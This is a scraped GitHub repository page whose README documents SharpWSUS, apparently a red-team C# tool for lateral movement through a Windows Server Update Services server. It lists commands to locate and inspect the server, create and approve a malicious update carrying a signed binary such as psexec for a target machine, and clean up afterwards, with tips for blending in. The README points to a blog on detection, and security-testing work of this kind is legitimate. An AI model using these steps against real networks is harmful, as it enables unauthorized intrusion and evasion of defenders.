

Product ▾Solutions ▾Resources ▾Open Source ▾Enterprise ▾Pricing

Q

Sign inSign up

nettitude / SharpWSUSPublic

NotificationsFork 73Star 440




<> CodeIssues 2Pull requests 1ActionsProjectsSecurityInsights

main ▾



Go to file

<> Code ▾

 Phil Keeble	Readme url	53b1a71 · 2 years ago	🕒 2 Commits
	SharpWSUS	Public Release	2 years ago
	.gitignore	Public Release	2 years ago
	README.md	Readme url	2 years ago
	SharpWSUS.sln	Public Release	2 years ago

📖 README⋮

SharpWSUS


SharpWSUS is a CSharp tool for lateral movement through WSUS. There is a corresponding blog (<https://labs.nettitude.com/blog/introducing-sharpwsus/>) which has more detailed information about the tooling, use case and detection.

Credits

Massive credit to the below resources that really did 90% of this for me. This tool is just an enhancement of the below for C2 reliability and flexibility.

- <https://github.com/AlsidOfficial/WSUSpendu> - powershell tool for abusing WSUS
- https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS

Help Menu



Phil Keeble @ Nettitude Red Team

Commands listed below have optional parameters in <>.

Locate the WSUS server:
SharpWSUS.exe locate






Inspect the WSUS server, enumerating clients, servers and existing g
SharpWSUS.exe inspect

Create an update (NOTE: The payload has to be a windows signed binary
SharpWSUS.exe create /payload:[File location] /args:[Args for pa

Approve an update:
SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Compi

About

No description, website, or topics provided.

-  Readme
-  Activity
-  Custom properties
-  440 stars
-  8 watching
-  73 forks
- Report repository

Releases

No releases published

Packages

No packages published

Languages



Check status of an update:
SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[TargetComputerName]

Delete update and clean up groups added:
SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[TargetComputerName]

Example Usage

```
sharpwsus locate

sharpwsus inspect

sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /architecture:x64

sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:10.10.10.10

sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:10.10.10.10

sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:10.10.10.10
```

Notes

- Binary has to be windows signed, so psexec, msixexec, msbuild etc could be useful for lateral movement.
- The metadata on the create command is not needed, but is useful for blending in to the environment.
- If testing in a lab the first is usually quick, then each subsequent update will take a couple hours (this is due to how windows evaluates whether an update is installed already or not)